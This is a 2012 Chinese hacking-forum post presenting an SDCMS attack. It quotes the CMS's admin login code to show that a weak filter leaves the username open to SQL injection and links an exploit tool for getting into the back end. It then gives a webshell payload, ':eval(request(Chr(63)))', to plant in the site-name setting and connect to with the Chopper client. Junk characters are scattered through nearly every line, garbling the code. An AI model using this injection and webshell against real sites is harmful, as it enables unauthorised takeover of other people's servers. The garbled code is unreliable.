找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3339|回复: 0
打印 上一主题 下一主题

SDCMS通杀漏洞利用工具及提权拿SHELL

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 20:57:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
作者:T00LS 鬼哥) s7 M1 z! n0 f$ l! \# b/ _" q
漏洞文件:后台目录/index.asp7 @5 k! H! l! q7 d  [# r
: d5 A& C, d$ t. S
Sub Check
# z* H$ q+ T' x, I4 p    Dim username,password,code,getcode,Rs; i6 d; w" Q  ^& P: T4 w, Y& z& _
    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
9 |8 E" W0 w$ p/ b: E    username=FilterText(Trim(Request.Form("username")),1)
: W- b. w8 f5 r. b2 z    password=FilterText(Trim(Request.Form("password")),1)& t; M" g- ^" A& T# ^
    code=Trim(Request.Form("yzm")); G  N) ?% \/ e
    getcode=Session("SDCMSCode")+ s7 u0 h4 }  @
    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died/ ^% K2 e; }5 R7 R, ]. F$ k
    IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"ied& ^2 [0 e+ n+ H  Z. F
    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"ied( d, Z( @8 U0 I
    IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"ied# w8 U/ }4 V) e7 d) U6 [2 P4 g# K- T
    IF username="" or password="" Then
" H8 ]% d  z2 H% x& i( O5 R2 ]0 P% a        Echo "用户名或密码不能为空"ied
) O, {' z6 Q" m' h    Else+ l0 p; V/ H* L# p6 K+ ]
        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
( Y4 [) `$ `" f& r1 i7 L        IF Rs.Eof Then
  t% p+ M& j- r  v# W            AddLog username,GetIp,"登录失败",1" r9 N1 {3 a9 u6 e
            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"+ z: b/ H  g3 K% g% N; [
        Else
. K: ]4 p0 j* F. I$ _$ f7 u. O            Add_Cookies "sdcms_id",Rs(0)4 u( _. W& ]2 _( `+ W
            Add_Cookies "sdcms_name",username" O  m9 X# g/ s
            Add_Cookies "sdcms_pwd",Rs(2)
/ @5 s0 t. u; l7 X- g; L8 u3 O            Add_Cookies "sdcms_admin",Rs(3)% T4 Q& n9 W, h6 E! s* V: n4 ]
            Add_Cookies "sdcms_alllever",Rs(4)
9 P7 F/ S# p2 \2 `) v            Add_Cookies "sdcms_infolever",Rs(5)
$ m7 K$ O* @* y% G% z            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
% C5 K9 x( L. ?( E- u" w# B            AddLog username,GetIp,"登录成功",1: c8 r: H" j" J. [5 l
            '自动删除30天前的Log记录
0 I3 j* H" I" ]$ I, `: x" o- W  a            IF Sdcms_DataType Then3 z6 ~9 I, u4 |) K
                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
7 V, L. T3 T" H& z! i            Else
: F& X- V* e# V, {                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
" F9 `% w" g$ u: Y4 j            End IF
3 Y' J/ k: D: E+ c+ L            Go("sdcms_index.asp")
) J" ~9 a# `1 b5 k. u        End IF+ v$ E6 G0 P- B+ G
        Rs.Close/ ]" f" x6 ~  n* U0 @) z
        Set Rs=Nothing: H; t1 l( S$ Z% \
    End IF
$ k% e* P$ o; `# }7 XEnd Sub
, u7 d# E5 q: S, h/ d, W/ b, u9 M8 X
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
6 W1 t- r. _9 {2 ]3 V' V% i
. d- I* j6 N* n: i: ?Function FilterText(ByVal t0,ByVal t1). a- I1 d( J& D
    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function% z) k6 g7 d& ~
    t0=Trim(t0)
% |9 Z; V! Y: K8 L  J6 N3 J    Select Case t1- }7 |' F$ m' L" ^. E
        Case "1"
+ J5 z1 C2 t6 x/ i" u5 t8 G/ N4 r            t0=Replace(t0,Chr(32),"")
* @* [4 A* O( |9 ^  F            t0=Replace(t0,Chr(13),"")
$ K1 ~8 Q! `: S            t0=Replace(t0,Chr(10)&Chr(10),"")2 Q6 ?+ r+ A1 j3 t; Z
            t0=Replace(t0,Chr(10),"")' M8 ?6 P1 w. G6 Q8 G4 T1 k
        Case "2"" p; V: g- ]# `3 G$ h5 ?2 ^
            t0=Replace(t0,Chr(8),"")'回格1 m: x) y1 E) H9 y' e
            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
* I: P) a( @& e4 C! l  o" m            t0=Replace(t0,Chr(10),"")'换行
! l. I) e( a3 m            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)9 R* i' B6 D2 u" z3 D5 C
            t0=Replace(t0,Chr(12),"")'换页
% j" U' X( K- d! s! N2 |7 w! m            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
2 n+ d) N6 E6 y/ D% p7 X8 i0 k* d# w            t0=Replace(t0,Chr(22),"")
7 ^- o1 t3 U! h: b            t0=Replace(t0,Chr(32),"")'空格 SPACE
9 x  r: v7 Z" p2 [            t0=Replace(t0,Chr(33),"")'!
5 X: P1 n0 p. C2 P            t0=Replace(t0,Chr(34),"")'"1 j7 d  s) j/ \8 y( D7 ]/ b; H+ W
            t0=Replace(t0,Chr(35),"")'#
! C; ^5 X0 B$ y1 C            t0=Replace(t0,Chr(36),"")'$
# u" h! \3 O# O            t0=Replace(t0,Chr(37),"")'%" i6 c4 u/ a& i- G
            t0=Replace(t0,Chr(38),"")'&
, F" Y( m5 i2 G5 t9 h7 a; m            t0=Replace(t0,Chr(39),"")''& Y. c6 ^  }7 K" K" A/ d
            t0=Replace(t0,Chr(40),"")'(7 F+ P9 ?% Y& x' D8 E. R
            t0=Replace(t0,Chr(41),"")')
# [1 j% \2 ?4 N  N  q" ~            t0=Replace(t0,Chr(42),"")'*
2 f- z% Y* u% h7 {9 s            t0=Replace(t0,Chr(43),"")'+6 F( Y5 n2 A, X. x. j; v6 Y# K1 n8 N, M6 U
            t0=Replace(t0,Chr(44),"")',
& q: {0 J: y; x6 {8 G/ d; U" t            t0=Replace(t0,Chr(45),"")'-
$ ]/ o) H& a0 r; b; R0 |5 {9 @            t0=Replace(t0,Chr(46),"")'.
) s, E/ T) t( f5 A4 V; K4 i! s  v            t0=Replace(t0,Chr(47),"")'/) S. p7 G7 x& N/ J( r
            t0=Replace(t0,Chr(58),"")':
& z2 D, i( T1 M' Y: `7 O3 Y2 `            t0=Replace(t0,Chr(59),"")';3 A# w& b  e8 m3 t+ g
            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
6 C9 K5 Y, t2 j4 G            t0=Replace(t0,Chr(63),"")'?
3 w4 Z8 P3 I8 d+ P            t0=Replace(t0,Chr(64),"")'@7 g- g& o, E- v( g1 @3 K7 l
            t0=Replace(t0,Chr(91),"")'\) P6 [& c# J( h) [
            t0=Replace(t0,Chr(92),"")'\
( c; v# A4 k. w) Z3 e' t# T            t0=Replace(t0,Chr(93),"")']. @# L7 |. p. p
            t0=Replace(t0,Chr(94),"")'^) g6 z2 h% e- |1 @, J6 V- {
            t0=Replace(t0,Chr(95),"")'_
" ^) z% l- g0 w            t0=Replace(t0,Chr(96),"")'`
1 C7 y2 V* c+ b9 i8 `, X            t0=Replace(t0,Chr(123),"")'{
7 c0 v+ x6 r5 }* y: T0 k) [8 g            t0=Replace(t0,Chr(124),"")'|! F! B8 a7 T1 D+ C) j+ T+ l/ O  w1 Z
            t0=Replace(t0,Chr(125),"")'}; i' V) n+ z7 ?9 D7 W1 c6 I
            t0=Replace(t0,Chr(126),"")'~
: E$ s$ f/ n5 ?( E% |    Case Else
0 l% |; a1 T' p! [4 u" ^  D( Y        t0=Replace(t0, "&", "&")
, e# U' r4 R% o0 z9 M7 t        t0=Replace(t0, "'", "'")) t9 N% m( G4 q1 @* c# S
        t0=Replace(t0, """", """)
9 `$ B# p+ C' \4 E4 s        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")  Q( O0 z" d( P
    End Select2 J; N& J+ k8 e( |
    IF Instr(Lcase(t0),"expression")>0 Then# n8 r# ]8 y  v8 ]) n
        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
* j: }% {% n& q7 P, t0 T8 {    End If5 a; N$ F4 F, k; j: R# ?  _
    FilterText=t0
3 t& o5 O3 U0 P8 f( ]End Function
7 `, j' n( ?0 S- R3 y+ ]+ N7 W9 P- k0 \& G- ~7 k. D
看到没。直接参数是1 只过滤
, |; ^# {" M. W0 L& V+ ~                        t0=Replace(t0,Chr(32)," ")
$ y' D2 Q% N( z6 w: S* M                        t0=Replace(t0,Chr(13),"")
* b6 S# A4 s' \' ~% z; Q                        t0=Replace(t0,Chr(10)&Chr(10),"
0 J! r7 |& h7 b" M  F/ ?")
% w# r- z5 U1 ^' J                        t0=Replace(t0,Chr(10),"* W4 f2 f9 @6 c/ @. w
")
1 R# ]/ s9 ^' r4 z漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
6 D- H0 q. L/ Y* H! hEXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
- T5 N0 @' T- d( s: `+ \
$ ?$ {" ~+ T( W测试:  B6 r1 k8 [! H$ i" H, I1 W

7 M' a( H0 Q+ {1 k4 Q1 g& b, M( n9 p
; ~5 @4 ^2 U, [现在输入工具上验证码,然后点OK
/ ?$ I. i: _  }1 _, |  x9 F1 N  G& t, c- E" D% Q! }1 r
" ^1 X& J: b7 V$ }- }
看到我们直接进入后台管理界面了,呵呵!
+ l/ Z+ P& l) q. U. O
) f$ r9 V$ s/ m8 D' x, E( Z$ P5 X3 E, ~8 y& b
3 M- M! f- E' h' w9 p! T1 f
这样直接进入后台了。。。。
: W; F. a( b; H) e' w) t5 Y! Z. o7 C6 [% C% o0 g
1 Q+ {( G; t3 M2 B2 w' N, Z1 D
, _6 p; d$ Q. D4 h
SDCMS提权:
: z& o& M1 E5 I4 M# p# B" l& o5 K/ V2 s6 C0 E0 o
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’  即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
  z9 {* h/ @1 e: M- d. M+ n8 ^/ N
+ m/ U4 ]4 Q* z" C$ `( @% i
, ]1 v; G2 x) L1 I4 W. H2 n0 L) Z$ N+ \
OK,现在用菜刀连接下!8 U# E. b; R" Y$ A/ v. X" H

$ D, v2 K; T3 i$ j+ L7 B; D/ c- V6 ^+ V) U6 w* C4 d# e" C- r

. E) M5 N# @# `2 f( Y* J5 U
! i( r# G' F# T) e9 f
$ v0 M/ {4 |6 A. P6 @4 |7 F6 b
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表